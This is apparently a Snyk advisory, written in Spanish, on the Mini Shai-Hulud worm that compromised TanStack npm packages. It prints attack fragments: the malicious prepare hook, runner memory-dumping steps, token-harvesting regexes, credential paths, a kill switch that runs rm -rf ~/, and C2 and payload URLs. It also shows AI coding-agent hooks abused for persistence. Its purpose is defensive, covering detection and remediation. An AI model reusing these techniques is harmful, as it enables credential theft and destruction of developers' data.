Paquetes npm de TanStack comprometidos en el ataque a la cadena de suministro Mini Shai-Hulud

Paquetes npm de TanStack comprometidos: dentro del ataque a la cadena de suministro Mini Shai-Hulud

El 11 de mayo de 2026, entre las 19:20 y las 19:26 UTC, se publicaron 84 artefactos maliciosos de paquetes npm en 42 paquetes del espacio de nombres @tanstack. Los paquetes no fueron publicados por un atacante que hubiera robado credenciales, sino por el pipeline de lanzamiento legítimo de TanStack, mediante su identidad OIDC de confianza, después de que código controlado por el atacante secuestrara el runner a mitad del flujo de trabajo. En cuestión de horas, las versiones maliciosas llegaron a Mistral AI, UiPath y decenas de otros mantenedores. Solo @tanstack/react-router recibe más de 12,7 millones de descargas semanales (API de npm).

StepSecurity atribuye el incidente al grupo de amenazas conocido como TeamPCP. También es el primer caso documentado de un paquete npm malicioso con procedencia SLSA válida. La procedencia SLSA es un certificado criptográfico generado por Sigstore que busca verificar que un paquete se compiló a partir de una fuente de confianza. El gusano pudo generar estos certificados porque secuestró el propio pipeline de compilación legítimo; Sigstore verificó correctamente el proceso de compilación. Lo que SLSA no garantiza es que el código compilado sea seguro.

Si tu equipo instaló alguna versión afectada de @tanstack/* el 11 de mayo, considera que el entorno de instalación está comprometido y rota todos los secretos a los que se pueda acceder desde ese host. Sigue leyendo para ver la lista completa de paquetes, el análisis técnico y las instrucciones de remediación paso a paso.

CVE: CVE-2026-45321 | GHSA: GHSA-g7cv-rxg3-hmpx | Gravedad: Crítica

Cuarta ola: contexto de la campaña

El ataque a TanStack no es un incidente aislado. Es la ola más reciente de una serie de ataques a la cadena de suministro de npm que usan el conjunto de herramientas del gusano Shai-Hulud. TeamPCP, el grupo al que StepSecurity atribuye este ataque, también es responsable de comprometer el escáner Trivy de Aqua Security (marzo de 2026) y el paquete npm de Bitwarden CLI (abril de 2026). Las olas anteriores de Shai-Hulud (septiembre y noviembre de 2025) usaron el mismo conjunto de herramientas del gusano, pero no se atribuyeron a TeamPCP.

Cada ola supera la sofisticación técnica de la anterior. La cuarta ola destaca no por su alcance (la segunda fue más grande), sino por lo que logró: publicar paquetes maliciosos indistinguibles de los legítimos según sus atestaciones de procedencia, algo que ningún ataque previo a la cadena de suministro había demostrado.

TeamPCP se atribuyó públicamente el ataque. También se conoce al grupo por los alias DeadCatx3, PCPcat, ShellForce y CipherForce. Unit 42 documentó la alianza anunciada por el grupo con el grupo de ransomware Vect, a partir de un anuncio en BreachForums.

CISA emitió avisos tanto sobre la ola original de septiembre de 2025 como sobre el compromiso de tj-actions/changed-files (marzo de 2025), donde se documentó por primera vez la técnica de extracción de tokens OIDC reutilizada en este ataque.

Qué se vio afectado

La familia principal de routers de TanStack fue el vector inicial, pero el mecanismo de propagación automática del gusano amplió rápidamente el alcance del ataque.

Paquetes de TanStack (42 paquetes, 84 versiones: dos por paquete):

La lista completa de los 42 paquetes está en GHSA-g7cv-rxg3-hmpx y en la base de datos de seguridad de Snyk. Familias confirmadas como limpias: @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, @tanstack/store.

Víctimas secundarias (propagación del gusano):

Al final del día, se habían documentado al menos 170 paquetes afectados en la base de datos de seguridad de Snyk. @mistralai/mistralai también está registrado en la base de datos de paquetes maliciosos de OSSF como MAL-2026-3432 (GHSA-3q49-cfcf-g5fm).

Cómo funcionó el ataque: tres vulnerabilidades encadenadas

El análisis posterior de TanStack es exhaustivo. Se encadenaron tres vulnerabilidades; ninguna habría sido suficiente por sí sola.

Paso 1: Pwn Request mediante pull_request_target

El 10 de mayo de 2026, el atacante creó un fork de TanStack/router con la cuenta zblgg (ID de GitHub 127806521) y le puso deliberadamente el nombre zblgg/configuration para evitar aparecer en las búsquedas de listas de forks. Se creó un commit malicioso (65bf499d) con la identidad falsa claude <claude@users.noreply.github.com>, suplantando a la aplicación Claude de Anthropic para GitHub, y se le agregó el prefijo [skip ci] para impedir que se ejecutara la CI automatizada al hacer push.

El 11 de mayo a las 10:49, el atacante abrió el PR n.º 7378 contra TanStack/router#main, con el título «WIP: simplify history build», y activó una configuración incorrecta conocida: el flujo de trabajo bundle-size.yml de TanStack usaba el trigger pull_request_target, pero obtenía la referencia de merge del fork y ejecutaba código controlado por este:

1on:
2  pull_request_target:
3    paths: ['packages/**', 'benchmarks/**']
4
5jobs:
6  benchmark-pr:
7    steps:
8      - uses: actions/checkout@v6.0.2
9        with:
10          ref: refs/pull/${{ github.event.pull_request.number }}/merge  # fork code
11
12      - uses: TanStack/config/.github/setup@main  # calls actions/cache@v5
13
14      - run: pnpm nx run @benchmarks/bundle-size:build  # executes fork-controlled code

Este patrón de «Pwn Request» fue documentado y demostrado por primera vez contra Angular, MDN e hyperledger/besu por el investigador de seguridad Adnan Khan en mayo de 2024. El trigger pull_request_target se ejecuta en el contexto de seguridad del repositorio base, por lo que el código del fork tenía acceso al alcance de caché del repositorio base y a GITHUB_TOKEN.

Paso 2: envenenamiento de la caché de GitHub Actions

El archivo malicioso vite_setup.mjs del fork no exfiltró datos de inmediato. En su lugar, envenenó el almacén de paquetes de pnpm usando exactamente la clave de caché que release.yml buscaría más adelante:

1Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

Esta clave se precalculó a partir del archivo público pnpm-lock.yaml con la misma fórmula hashFiles('**/pnpm-lock.yaml') que usa el flujo de trabajo. La entrada de caché envenenada de 1,1 GB se guardó a las 11:29 y pasó casi ocho horas sin ser detectada, hasta que un push legítimo a la rama main activó release.yml a las 19:15.

Quien escribió bundle-size.yml había intentado separar los niveles de confianza: mantuvo el trabajo de evaluación comparativa por separado e incluyó una nota sobre permisos no confiables. Sin embargo, pasó por alto un comportamiento crucial de GitHub Actions: el guardado posterior al trabajo de actions/cache@v5 usa un token interno del runner, no GITHUB_TOKEN del flujo de trabajo, por lo que permissions: contents: read no impide escribir en la caché. Además, el alcance de la caché se comparte entre ejecuciones de pull_request_target y pushes a la rama base, lo que crea una ventana para el envenenamiento entre límites de confianza.

Paso 3: extracción del token OIDC de la memoria del runner

release.yml tiene el permiso id-token: write, necesario para vincular npm con un publicador de confianza mediante OIDC. Cuando se ejecutaron durante la fase de compilación los binarios controlados por el atacante que estaban en el almacén de pnpm envenenado, se usó una técnica documentada en el compromiso de tj-actions/changed-files de marzo de 2025. El análisis posterior de TanStack indica que el atacante usó «la misma técnica de extracción de memoria (y un script de Python idéntico, con comentario de atribución)» de ese incidente:

1. Localizar el proceso Runner.Worker mediante /proc/*/cmdline

2. Leer /proc/<pid>/maps y /proc/<pid>/mem para volcar el espacio de direcciones del worker

3. Extraer el token OIDC, que el runner genera de forma diferida en memoria cuando se establece id-token: write

4. Enviar una solicitud POST directamente a registry.npmjs.org, autenticada como el flujo de trabajo legítimo de lanzamiento de TanStack

Nunca se llegó al paso previsto del flujo de trabajo, Publish Packages: las pruebas fallaron y se omitió ese paso. Aun así, se publicaron los paquetes maliciosos, autenticados con un token OIDC válido y con procedencia SLSA válida, porque el atacante extrajo el token antes de que terminara el flujo de trabajo.

Se ejecutaron dos procesos de lanzamiento. Ambos terminaron con status: failure. npm recibió 84 publicaciones de paquetes válidas, firmadas y con procedencia verificada: las ejecuciones 25613093674 y 25691781302.

Dentro del payload: router_init.js

El archivo de 2,3 MB router_init.js se ocultó en la raíz de cada archivo tar comprometido. No estaba declarado en el campo files del paquete, lo que demuestra que el archivo tar se manipuló fuera del proceso de compilación normal. También se agregó a cada paquete una entrada optionalDependencies:

1"optionalDependencies": {
2  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
3}

El hash del commit corresponde a un commit huérfano en el fork del atacante que GitHub muestra mediante la URL legítima de TanStack/router, debido al almacenamiento compartido de objetos de commits entre redes de forks. La URL parece oficial, pero el commit no lo es. Cuando npm resuelve la dependencia, descarga y ejecuta un hook del ciclo de vida prepare:

1{
2  "scripts": {
3    "prepare": "bun run tanstack_runner.js && exit 1"
4  }
5}

El && exit 1 es deliberado: la dependencia opcional «falla» sin problemas, casi sin dejar rastro en los registros de instalación, mientras el payload ya se ejecuta en segundo plano.

Una nota importante de defensa: Bun, como administrador de paquetes, no ejecuta scripts del ciclo de vida de forma predeterminada. Por eso, quienes instalaron directamente con Bun los paquetes afectados no habrían activado este vector específico de distribución del payload. Las máquinas que ya tenían Bun instalado también activan una salida temprana en la comprobación hasCommand("bun") del payload. Ninguna de estas situaciones convierte a Bun en una mitigación completa: el archivo router_init.js sigue presente en el archivo tar, pero sí reduce la superficie de ataque durante la instalación.

Tres capas de ofuscación

router_init.js usa un esquema de protección de tres capas documentado por el análisis completo de desofuscación de Upwind Security (con webcrack 2.16.0, que produjo 221.771 líneas de JavaScript legible a partir del bloque ofuscado de 11,7 MB):

Capa 1: El patrón canónico de JavaScript Obfuscator: un código de arranque autoejecutable que rota un arreglo de cadenas, seguido de una función despachadora (_0x253b) invocada 2864 veces en una sola línea de código fuente. Todos los literales de cadena se reemplazan por consultas al arreglo.

Capa 2: Un cifrado de sustitución Fisher-Yates aplicado byte por byte. La clave se deriva mediante PBKDF2-SHA256 con la clave maestra incrustada 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa y la sal svksjrhjkcejg, con 200.000 iteraciones; se diseñó deliberadamente para ser lento y dificultar el análisis automatizado. Esta capa descifra 396 constantes de cadena únicas, incluidos dominios C2, rutas de credenciales y el nombre interno de la campaña: EveryBoiWeBuildIsAWormyBoi.

Capa 3: 11 payloads cifrados con AES-256-GCM y comprimidos con gzip, que requieren el runtime de Bun (Bun.gunzipSync) para descifrarse. La función de cifrado, recuperada mediante la desofuscación:

1function w8(key, encryptedData) {
2  let keyBuf     = Buffer.from(key, 'base64');
3  let dataBuf    = Buffer.from(encryptedData, 'hex');
4  let iv         = dataBuf.subarray(0, 12);
5  let authTag    = dataBuf.subarray(12, 28);
6  let ciphertext = dataBuf.subarray(28);
7  let decipher   = createDecipheriv('aes-256-gcm', keyBuf, iv);
8  decipher.setAuthTag(authTag);
9  return new TextDecoder().decode(Bun.gunzipSync(
10    Buffer.concat([decipher.update(ciphertext), decipher.final()])
11  ));
12}

El mismo PRNG Fisher-Yates ctf-scramble-v2 (inicializado con 0x3039 / 12345) aparece literalmente en Bitwarden CLI, SAP y las campañas contra TanStack. Unit 42 lo identificó como un indicador de autoría compartida que conecta los tres ataques con la misma base de código.

Ejecución como proceso en segundo plano

Antes de hacer cualquier cosa visible, la carga útil verifica process.env.__DAEMONIZED. Si no está definido, crea un proceso secundario completamente separado, suprime toda la entrada y salida estándar, y llama a unref() para que Node.js no espere al proceso secundario. El proceso principal termina correctamente; el secundario se ejecuta en silencio y queda desvinculado de la sesión de terminal en la que se ejecutó npm install.

Robo de credenciales

La carga útil realiza un barrido sistemático de todos los principales entornos de credenciales en CI nativa de la nube. Ten en cuenta que el raspador de memoria del ejecutor omite deliberadamente los tokens cuyo nombre explícito es github_token, probablemente para evitar activar el escaneo de secretos de GitHub en los datos exfiltrados.

GitHub Actions:

• Lecturas directas: GITHUB_REPOSITORY, GITHUB_SERVER_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL

• API REST de GitHub: GET /repos/<repo>/actions/secrets?per_page=100 (el máximo de la API)

AWS:

• Variables de entorno: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

• IMDSv2 (implementado correctamente: funciona con instancias reforzadas que tienen IMDSv1 desactivado)

• Endpoint de metadatos de tareas de ECS (169.254.170.2)

• Enumeración de Secrets Manager y SSM Parameter Store en varias regiones

HashiCorp Vault:

• VAULT_TOKEN, VAULT_ADDR, VAULT_AUTH_TOKEN

• Llamadas directas a la API de vault.svc.cluster.local:8200 (el endpoint de Vault interno de Kubernetes)

Kubernetes:

• Tokens de cuentas de servicio en /var/run/secrets/kubernetes.io/serviceaccount/

• Combinado con el endpoint de Vault: robar el token de K8s → autenticarse en Vault → recuperar todos los secretos de Vault

Objetivos en estaciones de trabajo:

• ~/.npmrc, ~/.git-credentials, claves privadas SSH en ~/.ssh/

• Metadatos de GCP y archivos de credenciales de proveedores de nube en más de 100 rutas de Linux y macOS

• ~/.claude/projects/*.jsonl: archivos del historial de sesiones de Claude Code que contienen código, comandos y posiblemente credenciales que aparecieron en sesiones anteriores de Claude Code

Patrones de expresiones regulares para tokens recuperados mediante desofuscación:

1{
2  npmtoken:   /npm_[A-Za-z0-9]{36,}/g,
3  ghtoken:    /gh[op]_[A-Za-z0-9]{36}/g,
4  vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
5  k8sToken:   /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-.]+/g,
6  awsKey:     /AKIA[0-9A-Z]{16}/g,
7}

Exfiltración y puntos de entrega

Los datos robados se cifran y se envían a través de la red descentralizada P2P del servicio de mensajería Session/Oxen (filev2.getsession[.]org, seed{1,2,3}.getsession.org). No hay ningún servidor C2 controlado por el atacante; el tráfico se enruta a través de los nodos de servicio de Session basados en onion y no se distingue de la telemetría cifrada de una aplicación de mensajería. El bloqueo por IP no es eficaz; el bloqueo por DNS de *.getsession.org es el control perimetral práctico.

Las rutas secundarias de exfiltración pasan por la propia API GraphQL de GitHub mediante commits usados como puntos de entrega: el autor es claude@users.noreply.github.com (suplanta a la app de GitHub Anthropic Claude), el mensaje es chore: update dependencies y los nombres de las ramas, al estilo de Dependabot, se inspiran en el universo de Dune de Frank Herbert: dependabout/…/setup-formatter (nota: «dependabout», no «dependabot»). El endpoint GraphQL de GitHub está en la lista de permitidos de prácticamente todas las políticas de salida de red de CI, por lo que este canal evita por completo los controles perimetrales.

La carga útil también inyecta .github/workflows/codeql_analysis.yml en todos los repositorios accesibles y exfiltra toJSON(secrets) al hacer push, con lo que roba todo el contexto de secretos de GitHub Actions de las organizaciones afectadas.

Un mecanismo de recuperación alternativo busca en GitHub commits que contengan la cadena mágica OhNoWhatsGoingOnWithGitHub para recuperar tokens exfiltrados previamente por otras víctimas.

Propagación automática

Después de exfiltrar las credenciales, el gusano consulta:

1GET https://registry.npmjs.org/-/v1/search?text=maintainer:<username>

Luego vuelve a publicar cada paquete con la identidad OIDC robada, con la misma inyección de router_init.js y la misma entrada optionalDependencies. La propagación llegó a más de 200 paquetes, además de las 84 versiones iniciales de @tanstack/*, tal como documenta la Security Database de Snyk. Así se propagó el gusano a Mistral AI, UiPath y decenas de otras víctimas secundarias.

Y lo que es más importante, el gusano usa generateKeyPairSync y sign para falsificar atestaciones de procedencia in-toto compatibles con Sigstore para cada paquete que vuelve a publicar. Esto significa que los paquetes de las víctimas secundarias también incluyen lo que parece ser una procedencia SLSA válida. El modo de falla de las atestaciones SLSA también afecta a los paquetes propagados por el gusano, no solo a la publicación inicial de TanStack.

Persistencia: desinstalar no es suficiente

El gusano escribe copias de sí mismo en directorios de herramientas para desarrolladores, para sobrevivir a npm uninstall y a los reinicios:

Hooks de Claude Code (.claude/):

1<project>/.claude/router_runtime.js   # payload self-copy
2<project>/.claude/settings.json       # hooks config: runs on every tool event
3<project>/.claude/setup.mjs           # ESM loader shim

La configuración de hooks de Claude Code puede ejecutar comandos de shell en respuesta a eventos de herramientas, como ediciones de archivos y ejecuciones de bash. Al escribirse en .claude/settings.json, el gusano vuelve a ejecutarse cada vez que un desarrollador usa Claude Code en el directorio del proyecto afectado.

VS Code (.vscode/):

1<project>/.vscode/setup.mjs           # ESM loader shim
2<project>/.vscode/tasks.json          # runs setup.mjs on folder open

La ejecución automática de tareas del espacio de trabajo de VS Code ofrece un vector de ejecución independiente. En conjunto, estos dos mecanismos implican que un desarrollador que haya ejecutado npm install en una versión afectada podría volver a comprometer su entorno cada vez que abra su editor.

Play Video: Nx npm Malware Explained: AI Agent Hijacking

Explicación del malware de Nx npm: secuestro de agentes de IA: cómo el malware de la cadena de suministro abusa de las tareas de VS Code y los hooks de agentes de programación con IA como vectores de persistencia, con un análisis de la campaña del gusano de Nx npm, que usó técnicas idénticas.

Interruptor de seguridad a nivel de sistema:

1~/.local/bin/gh-token-monitor.sh                    # Linux
2~/.config/systemd/user/gh-token-monitor.service     # Linux
3~/Library/LaunchAgents/com.user.gh-token-monitor.plist  # macOS

Este servicio consulta api.github.com/user cada 60 segundos con el token de GitHub robado. Si se revoca el token (respuesta HTTP 40x), ejecuta rm -rf ~/ y destruye el directorio de inicio del usuario.

El orden de remediación importa: desactiva el servicio de monitoreo antes de revocar las credenciales. Si las revocas primero, podrías activar la destrucción del directorio de inicio. El investigador carlini lo identificó de manera independiente en el comentario #4425225340 de un issue de GitHub, y la comunidad de HN lo dio a conocer pocas horas después del ataque.

El problema de la procedencia SLSA

Este ataque es el primer caso documentado de un gusano de npm que produce procedencia válida con atestación SLSA Build Level 3 para paquetes maliciosos. Las atestaciones de Sigstore de las versiones comprometidas de @tanstack/* son legítimas: confirman correctamente que los paquetes se compilaron y publicaron mediante release.yml, que se ejecutó en refs/heads/main del repositorio TanStack/router. Todo eso es cierto.

La procedencia SLSA confirma que un paquete se compiló mediante una ejecución de GitHub Actions de un repositorio específico. No confirma que el flujo de trabajo estuviera autorizado para ejecutarse, que se ejecutara desde una rama protegida ni que el commit que lo activó fuera legítimo.

La configuración de OIDC vulnerable a explotación:

1# Vulnerable: trusts the entire repository
2Trusted publisher: Repository: tanstack/router

La configuración segura:

1# Secure: pins to specific branch and workflow
2Trusted publisher:
3  Repository: tanstack/router
4  Workflow: .github/workflows/release.yml
5  Branch: refs/heads/main

Cualquier paquete de npm que use publicación de confianza mediante OIDC sin fijar la rama y el flujo de trabajo es vulnerable a este tipo de ataque. Las atestaciones de procedencia siguen siendo necesarias para la seguridad de la cadena de suministro, pero no son suficientes. El análisis de comportamiento durante la instalación es un control complementario. El análisis de comportamiento automatizado marcó los 84 artefactos afectados en los seis minutos posteriores a su publicación, al detectar anomalías en router_init.js antes de que algún analista revisara los paquetes.

Qué hacer ahora mismo

Paso 0: determina si estás expuesto

Verifica si alguna versión afectada llegó a tus entornos sin ejecutar scripts:

1# Safe inspection: downloads tarball without executing lifecycle scripts
2npm pack @tanstack/react-router@1.169.5 --dry-run
3
4# Or manually unpack and inspect
5npm pack @tanstack/<name>@<version>
6tar -xzf *.tgz
7grep -A3 optionalDependencies package/package.json
8ls -la package/router_init.js   # present = compromised version

1# Check by hash
2find . -name "router_init.js" -exec shasum -a 256 {} \;
3# Compromised hash: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c

1# Check for the malicious optionalDependency marker in installed packages
2find node_modules/@tanstack -name "package.json" | \
3  xargs grep -l "voicproducoes\|79ac49eedf"

Paso 1: detén la persistencia ANTES de rotar las credenciales

Si encuentras evidencia de compromiso, desactiva el interruptor de seguridad antes de hacer cualquier otra cosa:

1# Linux — stop and disable the monitoring service
2systemctl --user stop gh-token-monitor.service 2>/dev/null
3systemctl --user disable gh-token-monitor.service 2>/dev/null
4rm -f ~/.config/systemd/user/gh-token-monitor.service
5rm -f ~/.local/bin/gh-token-monitor.sh
6
7# macOS — unload the LaunchAgent
8launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
9rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Luego elimina los hooks de persistencia del editor:

1# Claude Code hooks
2cat ~/.claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
3cat .claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
4# Remove router_runtime.js, setup.mjs, and any suspicious hook entries
5
6# VS Code tasks
7cat .vscode/tasks.json 2>/dev/null
8# Remove any task referencing setup.mjs or router_runtime.js
9
10# Check for injected GitHub Actions workflow
11ls .github/workflows/codeql_analysis.yml 2>/dev/null
12# If present and you didn't add it, it's likely the injected exfil workflow — remove it

1# Check for dead-drop commits authored as the Claude bot
2git log --all --author=claude@users.noreply.github.com
3# Revert any unexpected commits and force-push after confirming they're not legitimate

Paso 2: rota todos los secretos

Una vez eliminada la persistencia, rota las credenciales en este orden de prioridad:

1. Tokens de publicación de npm y autorizaciones de federación OIDC para cualquier paquete de npm publicado desde repositorios afectados

2. PAT de GitHub y tokens de acceso personal detallados

3. Credenciales de AWS (tanto claves estáticas como relaciones de confianza de roles de instancia mediante IMDSv2)

4. Tokens de HashiCorp Vault

5. Tokens de cuentas de servicio de Kubernetes

6. Claves privadas SSH

7. Credenciales de cuentas de servicio de GCP

8. Cualquier secreto visible en ~/.claude/projects/*.jsonl: los registros de sesiones de Claude Code son un objetivo de robo

Restablece las autorizaciones de federación OIDC solo después de confirmar que el flujo de trabajo de publicación está limpio.

Paso 3: medidas de mitigación a nivel de red

Bloquea *.getsession.org a nivel de DNS. El bloqueo por IP no basta: la red de Session usa nodos de servicio distribuidos. El bloqueo por DNS es el control perimetral práctico.

También bloquea: api.masscan.cloud y git-tanstack.com (dominios C2 adicionales de la infraestructura de la campaña). Bloquea en el tráfico de salida las URL de las cargas útiles de segunda etapa: litter.catbox.moe/h8nc9u.js y litter.catbox.moe/7rrc6l.mjs.

Paso 4: audita la configuración de OIDC de GitHub Actions

Para cualquier paquete de npm que use publicación de confianza, fija la configuración de OIDC a una rama específica y un archivo de flujo de trabajo:

1# Update your npm trusted publisher config to include:
2workflow: .github/workflows/release.yml
3branch: refs/heads/main
4# (not just repository: owner/repo)

Establece permissions: id-token: none a nivel de flujo de trabajo y otorga id-token: write solo en el trabajo específico que publica:

1permissions:
2  id-token: none
3  contents: read
4
5jobs:
6  publish:
7    permissions:
8      id-token: write  # only this job, not the entire workflow

Paso 5: audita los flujos de trabajo pull_request_target

Cualquier flujo de trabajo que use pull_request_target, extraiga código de un fork y escriba en la caché es vulnerable al vector de envenenamiento de caché. Usa pull_request (contexto del fork, de solo lectura) o separa por completo la ejecución del código del fork de las escrituras en la caché del repositorio base.

Elimina las cachés existentes de GitHub Actions en cualquier repositorio con pull_request_target y escrituras en caché:

1# GitHub CLI
2gh api /repos/OWNER/REPO/actions/caches --jq '.actions_caches[].id' | \
3  xargs -I{} gh api -X DELETE /repos/OWNER/REPO/actions/caches/{}

Fija todas las referencias a acciones de terceros con SHA de commits, no con etiquetas:

1# Instead of:
2- uses: actions/cache@v5
3# Use:
4- uses: actions/cache@d4323d4df104b026a6aa633fdb11d772146be0bf

Paso 6: agrega períodos de espera para versiones recientes

Las versiones maliciosas estuvieron activas durante aproximadamente tres horas. Un período de espera de siete días habría ofrecido protección completa contra este ataque específico (consulta también: configuración de pnpm para reforzar la cadena de suministro):

1# ~/.npmrc
2min-release-age=7
3ignore-scripts=true
4
5# ~/Library/Preferences/pnpm/rc
6minimum-release-age=10080   # minutes
7
8# ~/.bunfig.toml
9[install]
10minimumReleaseAge = 604800  # seconds
11
12# ~/.config/uv/uv.toml
13exclude-newer = "7 days"

También considera allow-git=none para npm v11+ para evitar la instalación de dependencias con URL de Git (el vector de ataque de la dependencia opcional @tanstack/setup).

Paso 7: no confíes solo en la procedencia SLSA

Este ataque produce atestaciones válidas SLSA Build Level 3 para paquetes maliciosos. Verificar la procedencia es necesario, pero no suficiente. Combínalo con análisis de comportamiento durante la instalación y con una herramienta que revise los paquetes para detectar firmas maliciosas conocidas.

Cobertura de Snyk

La Security Database de Snyk incluye el ataque relacionado a la cadena de suministro de LiteLLM en PyPI (SNYK-PYTHON-LITELLM-15762713), en el que se subieron versiones manipuladas de litellm directamente a PyPI, instalando un ladrón de credenciales de varias etapas y una puerta trasera persistente mediante la misma técnica del archivo .pth.

El análisis detallado de Snyk del ataque a LiteLLM está disponible en snyk.io/articles/poisoned-security-scanner-backdooring-litellm.

Snyk Open Source analiza tu árbol de dependencias comparándolo con la Security Database de Snyk y marca las versiones de paquetes que se sabe que están comprometidas. Si aún no analizas tus proyectos, prueba Snyk gratis para verificar tu exposición actual.

Play Video: Shai-Hulud NPM Attack: Remediation with Snyk

Ataque Shai-Hulud a NPM: remediación con Snyk: guía para usar Snyk a fin de identificar paquetes comprometidos en tu árbol de dependencias y remediar la exposición.

Resumen: indicadores de compromiso

Scripts de detección mantenidos por la comunidad: GLPMC/Tanstack-Worm-Detector y omarpr/mini-shai-hulud-ioc-scanner (aunque te recomendamos verificar antes de usarlos).